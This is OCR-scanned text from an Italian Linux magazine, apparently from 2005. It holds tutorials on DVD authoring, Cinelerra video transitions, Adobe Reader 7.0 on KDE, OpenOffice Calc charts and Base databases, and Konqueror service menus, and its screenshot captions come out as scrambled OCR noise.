Here is the list of commands which will be axecuted. You can modify each single 
Command or accept the default settings. 
"TIC Pron — 


Tini dna Gf conimani GI CEDESI Da bal godi ene 
meta è MPV stream i ATE Parma T2OWARO 


Poet ma CADI dm mIgty bol Sn ta ev dti Da mn mov 
Tae dute | cengia Pe devo Pia nd Pa memi mono 


dire me pae spione ta ni Te rta (tto) a de mprgì ave 


aver cliccato con il mouse sull'icona del 

DVD, apparirà una finestra con i comandi 
che Qdvdauthor sta per eseguire per creare il 
nuovo video, con all'interno il nostro menu per- 
sonalizzato appena creato. Possiamo anche 
salvare il tutto in formato XML. 


3 FASE FINALE A questo punto dopo 


L'ALTERNATIVA DVDSTYLER 


Si tratta di un sistema per l'authoring 
DVD disponibile anche per Windows. Gli 
strumenti sono simili a Dvdauthor, ma 
l'interfaccia risulta molto più curata e 
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semplice da utilizzare. Tra le funzionalità 
disponibili troviamo: Drag and Drop 
diretto dei file Mpeg e di ogni componen- 
te del menu (testo, pulsanti, animazioni, 


sfondi, ecc.), menu per i formati 

NTSC/PAL, possibilità di modificare colo- 

ri, immagini, font, ecc. 
http://dvdstyler.sourceforge.net 


Tu t o 


r 


Applicare un effetto 


SOFTWARE 


di transizione 


I Come acquisire due differenti filmati e unirli insieme applicando 
sofisticati effetti per rendere fluido e uniforme il passaggio delle immagini 


on sempre le registrazioni amatoriali 

soddisfano le nostre aspettative. In alcu- 

ni casi la parte più interessante rappre- 

senta solo una piccola sezione dell'inte- 
ro filmato e spesso è necessario unire queste par- 
ti per creare un nuovo video con le riprese più bel- 
le. È allora che si presenta il problema di come 
unire insieme i vari spezzoni senza ottenere bru- 
schi e antiestetici passaggi da una registrazione 
all'altra. Seguiteci e vi spiegheremo come fare per 
risolvere questo inconveniente. Per l'acquisizione 
dei filmati e l'applicazione dell'effetto video utiliz- 
ziamo Cinelerra, uno dei migliori software per 
l'editing video disponibili per Linux. Il programma 
dispone di decine di effetti applicabili attraverso 


semplici funzioni di Drag and Drop, ma nonostan- 
te questo resta comunque uno strumento abba- 
stanza difficile da utilizzare, inoltre, necessita di 
consistenti risorse di sistema. 


CONFIGURAZIONE 
AUDIO/VIDEO 


Dopo aver avviato Cinelerra, clicchiamo su File/ 
New... definiamo la frequenza di campionamento 
dell'audio, il numero di fotogrammi al secondo e 
le dimensioni del video, utilizziamo i valori 44100 
per la frequenza audio e 352x288 a 25 fps per de- 
finizione e trama video. 

Carmine De Pasquale 


SUL 
CD-DVD 


Sl CINELERRA 


1.2.2 
Licenza: GNU GPL 


Sito wes: http://heroinewarrior 
.com/cinelerra.php3 


Tipo: Multimedia 


Acquisizione dei filmati 


Prepariamo gli spezzoni dei filmati che costituiranno il video finale 


Fhome/picdpicdp.avi 4 
Microsoft AVI jÉ 


parametri di base, acquisiamo i vari 

spezzoni che comporranno il nostro 
filmato. Clicchiamo ancora su File>Re- 
cord... e definiamo il tipo di codec da usare 
per l'audio e il video. A questo punto sal- 
viamo i due spezzoni cliccando sulle icone 
con il simbolo della chiave inglese e asse- 
gnamo un nome ai due file. Definiti codec e 
nome, confermate tutto premendo OK. 


1 CARICARE I FILMATI Definiti i 


Selezioniamo le caselle monitor au- 

dio e monitor video, definiamo la du- 
rata degli spezzoni e clicchiamo su Start. A 
questo punto bisogna posizionarsi sulla li- 
nea temporale della finestra principale e 
quindi acquisire gli altri spezzoni. Per fare 
ciò, dopo aver cambiato il parametro 
Insertion strategy nella parte bassa sele- 
zioniamo il valore Paste at insertion point. 


2 ACQUISIZIONE DEI FILMATI 


appariranno le sequenze da acqui- 

sire; facciamo attenzione alla scel- 
ta degli istanti di inizio di ciascun filmato. 
Per essere sicuri, possiamo acquisire 
qualche fotogramma in più, sia all'inizio 
sia alla fine e quindi tagliare successiva- 
mente le parti in eccesso. Anche la posi- 
zione del filmato sulla linea temporale 
potrà essere facilmente modificata. 


3 COSA ACQUISIRE Sul monitor 


co 
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Misceliamo i due filmati 


Uniamo i due spezzoni applicando un sofisticato effetto di transizione e proviamo il risultato ottenuto 


Pi 


Dissolve Shape Wipe 


Cinelerra dispone di diversi effetti di 

transizione. Per usarli basta trasci- 
narli dalla finestra di transizione alla linea 
temporale nel punto in cui avviene il pas- 
saggio tra i due filmati. Particolare atten- 
zione andrà anche all'audio, aggiungendo 
l'effetto crossfade alle transizioni tra le 
tracce audio. Allo stesso modo possiamo 
anche aggiungere i titoli. 


1 APPLICHIAMO GLI EFFETTI 


Select a file to render to: 
own (E6)-20050413-080630-1.avif 29) 
File Format: [Microsoft AVI 3) 
=) Render audio tracks 


DS 5) Render video tracks 


HA Create new file at each label 
Insertion strategy: 


Create new resourcesfonty 2) 


OK _) Cancel ) 


SALVIAMO IL FILMATO Se il 
FÀ lavoro svolto soddisfa le nostre 

aspettative, possiamo preparare il 
nostro nuovo filmato cliccando su File> 
Render e quindi salvarlo finalmente su di- 
sco. Questa fase può essere molto lunga, 
come al solito dipende dalla configurazio- 
ne della macchina sulla quale stiamo la- 
vorando, ma tenete conto che si tratta di 
elaborare immagini in movimento che ri- 
chiedono molto lavoro al processore. 


Dopo aver tarato con cura la posi- 

zione degli spezzoni e degli effetti 
sulla linea temporale, occorrerà salvare 
il progetto, selezionando File->Save. In 
questo modo otterremo un nuovo file in 
formato XML, utile per riprendere suc- 
cessivamente il lavoro, nel caso in cui 
debba essere interrotto o per apportare 
nuove modifiche in futuro. 


2 SALVIAMO IL PROGETTO 


Pause 0.00 (Sue 


GUARDIAMOLO CON 
& TOTEM Per toglierci definitiva- 

mente ogni dubbio sulla qualità del 
filmato e dell'effetto applicato, facciamo 
una prova visualizzandolo con un vero 
lettore multimediale. Per lo scopo utiliz- 
ziamo Totem. Dopo aver avviato il pro- 
gramma basta selezionare dal menu 
Movie il comando Open e dalla finestra di 
dialogo che appare indicare il percorso 
completo al file creato. 


UNA DISTRIBUZIONE MULTIMEDIALE 


Tra la miriade di distribuzioni Linux, alcune sono pensate 
espressamente per svolgere compiti specifici: attività scien- 


tifiche, didattiche, multimediali ecc. 
Tra queste spicca Dyne:bolic una distribuzione “live” comple- 
tamente orientata al settore multimediale. 


provare il risultato clicchiamo su 

Window+> Show compositor. Appa- 
rirà un monitor attraverso il quale potre- 
mo spostarci all'interno del filmato e vi- 
sualizzare il risultato ottenuto. La ripro- 
duzione può avvenire a velocità normale, 
per singolo fotogramma, in avanti o in- 
dietro, oppure selezionando un punto 
qualsiasi della linea temporale. 


3 PROVIAMO IL FILMATO Per 


9 GUI visiblity 
Open File... [Ctri+o] 
Playback Playlist... 
Playlist Location... [Alt+m] 
Menus Subtitle... 
Stream 

[ Fullscreen/Window 


Se utilizzate il desktop KDE e il 

player multimediale Xine i passi 
sono molto simili. Dopo aver avviato il 
programma posizionatevi sulla scherma- 
ta vuota del player e cliccate con il tasto 
destro del mouse. Dal menu che appare 
selezionate Open e poi File, a questo pun- 
to dalla finestra che appare spostatevi at- 
traverso le directory e caricate il file del 
video che intendete visualizzare. 


6 GUARDIAMOLO CON XINE 


Tra i software inclusi di default troviamo applicazioni per l'e- 
diting video (Kino, Cinelerra e LiVES), editing audio (Audacity 


e ReZound), per la grafica 2D e 3D (Gimp e Blender] e tantis- 


simi altri programmi. 


Sito ufficiale: www. dynebolic.org 
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Acrobat Reader 7.0 


er Linux 


SOFTWARE 


SUL 
CD-DVD 


I Scopriamo tutte le novità del nuovo reader, evidenziando 
le differenze con analoghi software Open Source, e come integrarlo 
al meglio nel desktop KDE e nel file manager Konqueror 


ualcosa sta cambiando nel panorama Li- 
nux. Una grande azienda come Adobe ha 
deciso di investire nella realizzazione di 
un nuovo strumento per il Pinguino 
dedicandovi tempo e risorse. La velocità di 
diffusione del sistema operativo GNU/Linux tra le 
aziende di tutto il mondo, in particolare tra gli enti 
pubblici e le società di servizi finanziari, sta 
aumentando rapidamente. Il colosso di San Josè, 
visti i dati di diffusione di Linux, ha pensato di ri- 
lasciare gratuitamente uno dei suoi programmi di 
punta. 
Sebbene fossero già disponibili diversi pro- 
grammi Open Source per la lettura dei file PDF, 
come l’ottimo kGhostView, gPDF per l’ambiente 
desktop GNOME e il leggerissimo Xpdf, Adobe 
Reader 7 è in grado di offrire tutte le funzionalità 
per la collaborazione, che permettono agli utenti 
con i necessari diritti di commentare o modificare 
i documenti in formato PDF (PDocument Format). 
Disporre dell'appoggio di produttori software del 
calibro di Adobe a sostegno di Linux amplierà ul- 
teriormente le funzionalità e le opzioni che la co- 
munità Linux potrà offrire alla clientela enterprise. 


ADOBE READER PIÙ DA VICINO 


Dalla sua introduzione, avvenuta nel lontano 
1993, Adobe ha distribuito oltre mezzo miliardo di 
copie di Adobe Reader, ma vediamo di capire co- 
s’è e cosa offre. L’Adobe Reader 7.0 offre la pos- 
sibilità di visualizzare, stampare e consultare i file 
in formato Adobe PDF su vari tipi di sistemi ope- 
rativi, piattaforme hardware e dispositivi mobili. 
Adobe Reader 7.0 per Linux offre ai singoli utenti 
la possibilità di partecipare ai processi di business 
ed interagire con numerosi tipi di contenuti in ma- 
niera sicura, sia online sia offline e sia all’interno 
che all’esterno del firewall aziendale. 


La versione per Linux può essere scaricata in for- 
mato rpm o tar.gz, ma al momento la localizzazio- 
ne in italiano del Reader non è disponibile. 
Rispetto all'ormai datata versione 5.0, con inter- 
faccia Motif (www.opengroup.org /motif,, il nuovo 
reader è molto gradevole e sofisticata (Figura 1) 
nonostante sia basato ancora sulle vecchie libre- 
rie Gtk 2.2 (www.gtk. org). 


Adobe Reader* 7.0 


RI Fig. 1 © Un Look rinnovato e tante funzionalità per 
il nuovo Acrobat Reader 


AD ACROBAT 
Ì READER 7.0 


Licenza: freeware 


Sito weg: www.adobe.com 
Tipo: utility 


IL FORMATO ADOBE PDF 


Non potevamo non parlare di que- 
sto formato, è lui l'artefice del suc- 
cesso e della grande diffusione del 
reader. Sviluppata da Adobe 
Systems e costantemente migliora- 
ta, Adobe PDF è una specifica 
disponibile al pubblico usata da 
consorzi standard in tutto il mondo 
per la distribuzione e lo scambio di 
documenti elettronici. Il formato è 


stato adottato da enti pubblici e 
aziende per ottimizzare la gestione 
dei documenti, aumentare la produt- 
tività e ridurre l'utilizzo del formato 
cartaceo. Trattandosi di un formato 
aperto, Adobe PDF è liberamente uti- 
lizzabile da tutti coloro che desidera- 
no sviluppare strumenti per la crea- 
zione, la visualizzazione o la gestione 
di documenti in formato PDF. 


(I) 
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FUORI KGHOSTVIEW DENTRO 
ACROBAT READER 


Solitamente, in ambiente KDE, l'applicazione che 
si occupa di visualizzare i file di tipo PDF è 
kGhostView. Un’applicazione valida e funzionale, 
ma non abbastanza completa quanto il nuovo 
Acrobat Reader. Per mettere alla prova le capa- 
cità di kGhostView abbiamo aperto lo stesso file 
di prima con Adobe Reader (Figura 2), come ve- 
dete la resa a video è decisamente diversa. 


UNICO] 


” aa 
anca IN 


INTRODUZIONE 
Nota vita quetdiana | computer Srentano urumerm sempre gru portarti d 


CONI MEFENtO 0 PAEPDEt È Sri LarimenciO etettbormcO contrassmente affchamo m Lompuae 
un Mmeno sempro mamgene dh formazione persons tia eopiordore la vila privata sia 
per di nostro lavora 


Agpere evidento che ln nata de dat im quanto Impertartinaimi. mpone che questi ron 
testimo MeuBICIIMI CUI rischuo che vadano porci O lasciati wi buaba di OCCHI Wasenciti 


Medoro 1 questa parcula Watlazone che nen vume ovserm enamiiva quali sono gi 
AIPEMI da CIAAFE Per QMANILI UN COMPLEET Protetto da MACCIv viral Necessariamente si 
Parterà dei vinca, della loro distinzione e del modo di agire per cui Bisognera tare in 
piccola alorzo di comprermione che ci permetterà. ir seguita di scogliere le contromisure 
adeguato € gh accorgimenti da adottare per Cercare di garantre al nosuo sistema. seppur 
in marvera sufficiente. un margno G scusezza accemabile 


I Fig. 2 © La leggibilità del testo è migliorata 
notevolmente, in più riusciamo ad avere chiare 
anteprime delle pagine del documento 


INTEGRIAMOLO 
IN KONQUEROR 


Dopo aver provato il Reader possiamo impostare 
Konqueror in maniera tale da avviare automatica- 


Apri con: 


| E | | acroread 


Applicazioni conosciute © 


+ @ Altri programmi 


+-@ interna 
+ BB) Multimedia 
+:- IRA Sistema 


Windows Applications 


[Esegui in un terminale 
È 


X Ricorda l'associazione dell'applicazione per questo tipo di file 


ok | | Annulla 


II Fig. 3 è Con questa breve procedura abbiamo 
impostato Acrobat Reader come visualizzatore PDF di 
default 


mente Adobe Reader per la gestione dei file di ti- 
po PDF. Dopo esserci posizionati col mouse su 
un documento PDF facciamo click col pulsante 
destro del mouse, dal menu contestuale che ci 
viene proposto scegliamo la voce Apri con e sele- 
zioniamo Altro. Nel campo Apri scrivete acroread 
e poi spuntate la casellina Ricorda l’associazione 
dell’applicazione per questo tipo di file presente 
nella parte bassa della finestra (Figura 3). Per ter- 
minare la procedura non ci resta che fare click sul 
pulsante Ok. Da ora in poi Acrobat Reader è il vi- 
sualizzatore PDF predefinito. 

Valerio Guaglianone 


Creiamo un collegamento sul desktop 


Un metodo semplice per avviare rapidamente Acrobat Reader senza utilizzare la riga di comando 


P00 11 romte) iero ci siero 
Prerrer val pemapuiro Desde 


#30% fiyon (0301) 
1946 2130009 
70:02, 1117008 


sn svenne 


Facciamo click col pulsante destro del 

mouse sul desktop. Dal menu conte- 
stuale del desktop selezioniamo la voce Crea 
e successivamente Collegamento ad un'ap- 
plicazione. Nel campo nome del collegamen- 
to scriviamo Acrobat Reader. 


1 NOME DELL'APPLICAZIONE 


gliere l'icona del collegamento basta 

fare click sull'iconcina presente alla 
sinistra del nome del collegamento. Dalla fi- 
nestra di scelta dell'icona selezioniamo quel- 
la che più ci piace e facciamo click sul pul- 
sante Ok per confermare la scelta. 


2 SCEGLIAMO L'ICONA Per sce- 


Dalla finestra delle proprietà del col- 

legamento selezioniamo il tab 
Applicazione e nel campo Comando inseria- 
mo acroread. Tutto qui. Facile come avete vi- 
sto. Ora non resta che terminare il procedi- 
mento col solito click sul pulsante Ok. 


IL PROGRAMMA DA ESEGUIRE 
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Un grafico per 


SOFTWARE 


co-DUD:, 


le nostre finanze 


MI Un metodo semplice e immediato, da utilizzare anche a casa, 
per calcolare e visualizzare graficamente l'andamento delle finanze 


personali nel corso dell'anno 


| foglio elettronico Calc, come ogni altro com- 

ponente di OpenOffice, è perfettamente inte- 

grato nella suite fino a creare un'unica appli- 

cazione in grado di gestire attività di ogni tipo 
dall'ufficio allo studio, fino alla più complessa ge- 
stione aziendale. Come ogni foglio di calcolo che 
si rispetti (molti avranno sicuramente familiarità 
con Excel di Microsoft), oltre agli strumenti per 
eseguire qualsiasi tipo di calcolo (finanziari, stati- 
stici, matematici, ecc.), dispone di funzionalità 
che consentono di rappresentare graficamente i 
risultati ottenuti. Questa caratteristica, opportu- 
namente gestita, può essere utilizzata in modo 
produttivo anche in ambito domestico per calco- 


lare e monitorare graficamente lo stato delle fi- 
nanze personali, ad esempio entrate e uscite nel 
corso del tempo (giorni, settimane, mesi e anni). 
Vediamo come procede. È possibile eseguire di- 
rettamente il foglio di calcolo dal menu OpenOf- 
fice.org/OpenOffice.org Calc, oppure avviarlo 
dall'interfaccia principale della suite. Eseguito 
Calc, apparirà la finestra del foglio di calcolo che, 
come per tutte le applicazioni di questo tipo, è 
organizzata in righe e colonne fino a formare una 
struttura a celle, all'interno delle quali sarà 
possibile inserire, numeri, testo, e formule per po- 
ter eseguire i calcoli. 

Luigi D'Amato 


— OPEN 
"© OFFICE 2.0 


Licenza: GPL 
Sito WEB: www.openoffice.org 
Tiro: UFFICIO 


Creiamo il grafico 


Realizziamo le tabelle per l’immisione dei dati che costituiranno il diagramma 


FP Byte ripa come dicitura 
FF rima cotenna come gictua 


Se le colle Selezionate non contengano | dati decisarati Letemanare Parma dati 


Includere le Celle Contrment le miritamore @ myhe e cotone Le Li desisera inciudene nel diagramma 


Settembre 23911 


IMMISSIONE DEI DATI Come pri- 
1 mo passo realizziamo la tabella per 
l'immissione dei dati. Nel nostro 
esempio abbiamo utilizzato la colonna A, e la 
colonna B rispettivamente per l'immissione 
della somma e del mese associato. Per con- 
trollare il totale delle uscite abbiamo anche 

creato "Totali" che aggiorna il totale delle 
uscite con la formula=SOMMA(B2:B13). 


ceoee 
ceee 


(1) 
566 è Giugno 2005 


1425748 


POSIZIONIAMO IL GRAFICO 
2 Selezioniamo le due colonne conte- 

nenti i dati che andranno a costituire il 
grafico, nel nostro caso da A1 a B13. 
Successivamente clicchiamo su "Inserisci 
Diagramma" . A questo punto l'icona del 
mouse cambierà, a forma di croce, ciò signi- 
fica che dobbiamo selezionare una parte 
delle celle dove inserire il grafico. 


i: | ee | ce [a] | 


nata l'area e rilasciato il pulsante del 

mouse, verrà eseguito un wizard che 
ci guiderà nella creazione del grafico. La 
prima fase riguarderà l'area dei dati interes- 
sata al grafico. Di default saranno presenti le 
celle che abbiamo selezionato. Dopo aver 
controllato che siano effettivamente quelle 
procediamo premendo "Avanti". 


3 CONTROLLIAMO | DATI Selezio- 


Tipo di diagramma 


Selezioniamo il tipo di grafico e diamo un nome alle griglie 


zioniamo il tipo di grafico e l'intervallo 


1 IL TIPO DI GRAFICO Da qui sele- 


dei dati. Per visualizzare un'anteprima 


del grafico selezioniamo la casella di con- 
trollo “Rappresenta oggetti in anteprima". 


griglie degli assi X e Y per una migliore 

lettura del grafico. Sempre da qui è 
possibile assegnare i titoli per il grafico, gli 
assi e la legenda. 


Dries E TITOLI Impostiamo le 


Personalizziamo il grafico 


Da istogramma a torta, passo passo come modificare il grafico senza dover ripetere tutto il lavoro 


Bilancio Uscite 


SELEZIONIAMO | 
{ Per modificare i dati, la struttura 0 
semplicemente per personalizzare 
l'aspetto del grafico selezioniamolo; basta 
un doppio click sull'area coperta dal grafico. 


Bilancio Uscte 


la modifica, il nostro grafico ad isto- 

gramma verrà sostituito con un grafi- 
co a torta lasciando inalterati i dati selezio- 
nati inizialmente. 


FA IL NUOVO GRAFICO confermata 


CELLELEL ILE] 


Bilancio Uscite 


niamoci sul grafico e clicchiamo con il 
pulsante destro. Comparirà una 
schermata in cui saranno presenti una serie 

di opzioni: scegliamo "Tipo di diagramma". 


9 “TIPO DI DIAGRAMMA” Posizio- 


Bilancio Uscite 


Modifichiamo l'intero grafico, compre- 

so il titolo degli assi. Posizioniamoci 
sul grafico e con il pulsante destro sceglia- 
mo questa volta "formattazione automatica". 


B FORMATTAZIONE AUTOMATICA 


Possiamo finalmente ammirare il ri- 

sultato ottenuto. Tutto è stato creato 
secondo le impostazioni inserite nel wizard. 
Sull'asse delle X è presente il mese. 


3 RISULTATO OTTENUTO 


Yariane 
II 1 


3 SELEZIONIAMO IL TIPO Le scel- 


te sono numerose, grafici a punti, a 

torta, radar, linee, e ognuna di queste 
tipologie è a sua volta divisa per categorie. 
Inoltre, i grafici possono essere 2D o 3D. 


) È Formattazione automatica diagramma 
Visualizzazione 
F7 Titolo del diagrammalTitolo Grafico a TOR 


F7 Legenda 


Titoli degli assi 


[- Rappresenta ogg 
nell'anteprima 


Lasciamo inalterati i dati del grafico 

scelti in precedenza e premiamo 
Avanti. A questo punto modifichiamo il titolo 
in “Titolo Grafico a Torta". 


6 MODIFICHIAMO IL TITOLO 
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Una rubrica 
con OpenOffice 


RE Le procedure guidate per creare rubriche telefoniche, elenchi dei 
contatti e gestire le nostre collezioni in modalità completamente grafica 
e senza necessità di conoscere il linguaggio SQL 


on le nuove funzionalità integrate nella 
versione 2.0 di OpenOffice, la creazione 
e gestione dei dati è diventata ancora più 
semplice e intuitiva, offrendo agli utenti 
diversi strumenti, tra cui nuove interfacce grafiche 
e procedure guidate, per poter creare e gestire ta- 
belle, query e report senza per questo conoscere 
il funzionamento di un database né il linguaggio 
SQL. 
In aggiunta a questa potente caratteristica di ge- 
stione delle tabelle OpenOffice 2.0 integra anche 
una nuova tecnologia embedded Java, basata sul 
motore per database HSQLDB che permette la 
creazione di un nuovo tipo di documento chiama- 
to “embedded database document”. 
Il vantaggio principale dato dall'implementazione 


di questa funzionalità risiede nel fatto che non vi è 
è la necessità (o l'obbligo) di disporre di un data- 
base server separato come ad esempio MySQL, 
poiché tutte le informazioni contenute nelle tabel- 
le, i dati, le ricerche, le form, le relazioni ed i report 
sono registrati all'interno di un singolo file XML. 
Questo non significa che OpenOffice non possa 
anche connettersi e operare su database indipen- 
denti e più potenti, tutt'altro, anche in questo 
campo nella versione 2.0 sono state fatte delle mi- 
gliorie e la connessione ai database è decisamen- 
te meno complessa. 

Sicuramente l'embedded database document, 
rappresenta un grande salto in avanti per la suite 
e le permette di allinearsi anche in questo campo 
ad altri prodotti disponibili sul mercato. 


Creiamo il nostro primo database 


Utilizziamo la procedura guidata Autopilot per creare il file che conterrà le tabelle e i dati 


Potete creare un nuovo database o configurare una 
database esistente. In entrambi i casi verrà creato u 
informazioni, tra cui le impostazioni di connessione, i 


seleziona database 


balva e procedi 


Come volete procedere? 
@ Crea un nuovo database! 
© Collega a un database esistente 


Re 


bin 

Desktop 
Documents 
evolution 
giovannidisk 

Mail 
OpenOffice.orgl.1 


Volete che la procedura guidata registri ll database in OpenOttice.org 


C sì, registra n catanase 
(@ Ng. non registrare Il database. 


Dopo # salvataggio del file det database, come volete procedere? 


SOFTWARE 
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OPENOFFICE 
2.0 


Licenza: GPL/LGPL 


Sito WeB: www.openoffice.org 
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Tipo: Ufficio 


Cartella 
Cartella 
Cartella 
Cartella 
Cartella 
Cartella 
Cartella 


R Apri ll database per in modifica 
F? rea iuove Labelle com la procedura guidata] 


database_prova] 


OpenDocument Database 


Fate che su Fine' per salvare Il database 


Estensione automatica del nome del file 


IL NUOVO DATABASE 1n questo 
{ primo passo si definisce se il database 

creato sia un database nuovo oppure se 
esso sia un collegamento ad un database 
esistente da modificare o aggiornare. In en- 
trambi i casi il database è rappresentato da 
un file che conterrà informazioni diverse a 
seconda del tipo scelto. 


Giugno 2005 


di creare un nuovo database, verrà ri- 

chiesto se effettuare oppure no la regi- 
strazione del database (renderlo “pubblico”) 
e cosa fare una volta inizializzato il file; se 
aprire subito il database e se creare le tabel- 
le che conterranno i dati attraverso ulteriori 
procedure guidate. 


2 REGISTRAZIONE Dopo aver scelto 


SALVIAMO IL FILE A questo pun- 
3 to, prima di aprire il database per 

creare le tabelle è necessario provve- 
dere a salvare su disco fisso il file che con- 
terrà l'embedded database document. Il file 
conterrà tutto il necessario per poter lavora- 
re sul database, non solo le tabelle ma anche 
le query, le form e così via. 


COME SI CREA 
UN NUOVO DATABASE 


In OpenOffice è presente uno strumento chiama- 
to Autopilot che guida l'utilizzatore attraverso 
passi obbligati in diverse fasi del processo di 
creazione di un documento. Autopilot permette di 
creare lettere, fax, presentazioni, pagine web ed 
anche database. La creazione di un database av- 
viene dunque selezionando dal menu File/Nuovo 
/Database. Il “Database Wizard” verrà eseguito e 
si potranno definire tutti i parametri e tutte le op- 
zioni necessarie alla creazione del nuovo databa- 
se, sul quale, una volta generato, si potranno, 
sempre utilizzando altri moduli di Autopilot, ese- 
guire varie attività guidate, come la creazione di 
tabelle, di ricerche, di formulari e di rapporti, il tut- 
to sempre in maniera chiara ed intuitiva. 

Autopilot si dimostra, anche per l'embedded da- 


LE TABELLE DI UN DATABASE 


Le tabelle rappresentano il cuore di 
ogni database, tutti i dati su cui poi si 
lavorerà vengono registrati in que- 
ste. L'organizzazione di una tabella è 
molto importante per poter definire 
correttamente ed efficientemente la 
struttura dei dati e per poter garan- 
tire una valida funzionalità al proprio 
database. Un esempio di tabella è 
dato dall'elenco dei contatti del pro- 


prio client di posta elettronica. Ogni 
singolo indirizzo viene chiamato “re- 
cord” ed ogni record consiste di di- 
versi “campi” come ad esempio il 
nome, il cognome e l'indirizzo e- 
mail. Sui “record” e sui “campi” di 
una o di più tabelle si possono poi 
applicare ricerche per estrarre ulte- 
riori dati, creare formulari e genera- 
re rapporti. 


tabase document, uno strumento essenziale per 
velocizzare al Massimo la curva di apprendimento 
di OpenOffice e migliorando sin da subito la pro- 
duttività. 

Giovanni Racciu 


Creazione guidata delle tabelle 


Sempre attraverso il Wizard procediamo con la creazione delle tabelle che conterranno i nostri dati 


3 Conazione guidata tatlla 


STRUTTURA DELLE TABELLE 
1 Con il table Wizard è possible scegliere tra 
diversi elenchi di “campi” predefiniti, divisi 
tra “Lavoro” e “Privato” e organizzati in tipologie 
di tabelle. Inserendoli nella tabella in creazione 
verranno spostati e resi attivi e concorreranno al- 


la definizione della struttura della tabella. 


3 Covazione guicata talmile 


Passi ____ Tobeta 
Nome Orta tata 


[ora] 


Corpi ntufazoni Avene misegnato me le informare 


1 Selezionate lo scenario 
per la tatela 
2. fer è stato pomsitite 


Carme vesete precosere? 
MF insaritci susa | ga 
(Moac le struttura sta tuteta 
(7 Crea un Pormafario basato su questa 


eps |_s J[ be] sm | 


oe | 
DIAMOGLI UN NOME ogni ta- 
h bella deve essere individuata mediante 
un nomeeuna volta scelto si deve de- 
finire come procedere, se inserire subito i da- 
ti, se modificare la struttura oppure se crea- 
re un formulario basato sulla tabella appe- 
na creata. 


3 Covazione quieta talmila 


Definito | formati per i tipi di compo 


IL FORMATO DEI CAMPI Nel pas- 
2 so successivo si devono specificare i for- 

mati dei singoli campi che possono essere 
di tipo testo, booleani, date, ore, numeri interi, nu- 
meri reali e altri ancora, richiederne la digitazione 
forzata durante l'inserimento e definirne la lun- 


ghezza massima in caratteri. 


bhhao- 
TZ 


ten) 
IDOLO 
mormagdomrso. OVOLGI 


INSERIAMO | DATI È giunto il mo- 
B mento di inserire i dati nella tabella appe- 

na definita in modo da poter “popolare” il 
database, per utilizzarlo successivamente crean- 
do relazioni, form e per produrre dei rapporti. 
Abbiamo creato una semplice tabella contenente 


un elenco di contatti di posta elettronica. 


3-- Creazione guidata intatte 
Decidete se unare una chiave primaria 
E consigliabile avese un cameo in ogni Inbelta dei dalubiase che itentfichi 
m meds univoca oprv record. Questo camea è detta (have prmaria Le 
civani primarie semglAnO È colegamento dee revideni N 
tatede 1eparnit. Senza Una Cave primaria. mon è pomvanie MRerre 
rurttt data x questa tibet 
PP Crea una chiave primaria 


@ Banang una Piave primario sutomata amento 
("ita um campo euntente came chiave primaria 


jr 


( Detranzi chiave primaria com più camei 


LA CHIAVE PRIMARIA si rende 


necessaria la definizione di una chiave pri- 

maria. Sebbene non obbligatorio, si consi- 
glia di avere un “campo” in ogni tabella che iden- 
tifichi in modo univoco i record (le righe delle ta- 
belle), questa è la chiave primaria. Table Wizard 
può aggiungere automaticamente tale chiave. 


H-- prova - OpenOffice.ory Base 
Uile Modifica Vicualitza Inserisci Surumenti Maestra L 
ÙU-Smu è 


E cren tabetta in vata struttura. 
u 
Uso procedure quideta per uo e | "etete creare una tate 
Creo visto 


mi I 


MODIFICHE SUCCESIVE 1 databa- 
6: una volta salvato può essere aperto at- 

traverso il suo modulo specifico chiamato 
“Base”, all'interno del quale si trovano tutte le 
funzionalità necessarie per lavorare sui dati, dal- 
la creazione di nuove tabelle, all'inserimento di 


ulteriori dati sino alla creazione di rapporti. 
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Konqueror 
al tuo servizio 


SOFTWARE 


SULî:: 
CD-DVD 


BM Ecco come con poche righe di codice è possibile aggiungere nuove 
funzionalità a KDE e collegarle a un menu contestuale 


onqueror è il file Manager dell’ambien- 

te desktop KDE. Fornisce tutte le fun- 

zioni necessarie per la gestione dei fi- 

le, dalle semplici operazioni di 
taglia/incolla fino alla navigazione avanzata dei 
file su rete locale o Internet. Il contenuto delle 
cartelle può essere visualizzato in diverse mo- 
dalità, sia testuali sia grafiche, che includono 
persino l’anteprima con immagini in miniatura 
del contenuto dei file, mentre le proprietà dei 
file e delle cartelle possono essere facilmente 
esaminate e cambiate in modo rapido e intuiti- 
vo. Konqueror non è solo un file manager è an- 
che un browser web compatibile con l’HTML 
4.01 con gestione integrata di JavaScript e 
CSS. Fornisce supporto per l'esecuzione sicu- 
ra di applet Java, plugin per la visualizzazione 
di file in formato Flash e SSL per le comunica- 
zioni sicure. Le funzioni avanzate includono il 
completamento automatico di URL e di modu- 
li, la capacità di importare i segnalibri da altri 
browser e la navigazione con schede. Non è 
tutto, konqueror, grazie all’integrazione di altre 


[ITZIIEZZZNI 


(aa0 0/00 


Je 26 


RI Fig. 1 © Grazie all’inclusione dei componenti di 
KGhostView in konqueror possiamo leggere i 
documenti, in formato PDF, senza chiudere il file 
manager 
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componenti fornite dalle applicazioni di KDE è 
in grado di mostrare immagini e documenti 
senza dover avviare altri programmi (Figura 1). 
In sintesi, il miglior programma combinato per 
la navigazione web e la gestione dei file, in gra- 
do di passare automaticamente da una moda- 
lità all’altra in modo trasparente. 


ANATOMIA DI UN SERVIZIO 


Un servizio per konqueror altro non è che un 
semplice file di testo con estensione . desktop, 
niente di difficile, solo poche righe di codice 
che permettono di costruire uno script che ci 
farà risparmiare tempo prezioso. Un servizio è 
costituito da due parti (o sezioni) principali: 


KONQUEROR COME FILE MANAGER 
VEDIAMO COME FUNZIONA 


Cliccando con il tasto sinistro del 
mouse sul nome di un file o su 
un'icona Konqueror agirà in base 
al tipo di file selezionato. In gene- 
rale questo significa aprire una 
pagina web o mostrare l'anteprima 
di un file di testo, di un'immagine o 


Indinzzo Modifica Visualizza \bi Segnelibai Srumenti Impostazioni Finestra Alyto 
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Îl BD ED ruesnemeraipenguiniDocumentyim 


Fog riftanizia 


Licenza: GPL 


Sito WEB: www.kde.org 


Tipo: Utility 


di un file audio, visualizzandola al- 
l'interno di una finestra. 
Konqueror stabilisce il tipo di file 
tramite il riscontro dell'estensione 
del nome ottenuto su di una lista di 
tipi conosciuti. Un click con il tasto 
destro sul nome o su un'icona di 


qualsiasi file o cartella, 
non solo seleziona quel 
determinato oggetto, ma 
fa anche comparire un 
menu che ci permette di 
tagliare, spostare, copia- 
re o rimuovere l'oggetto 
selezionato in diversi 
modi, aggiungerlo nei 
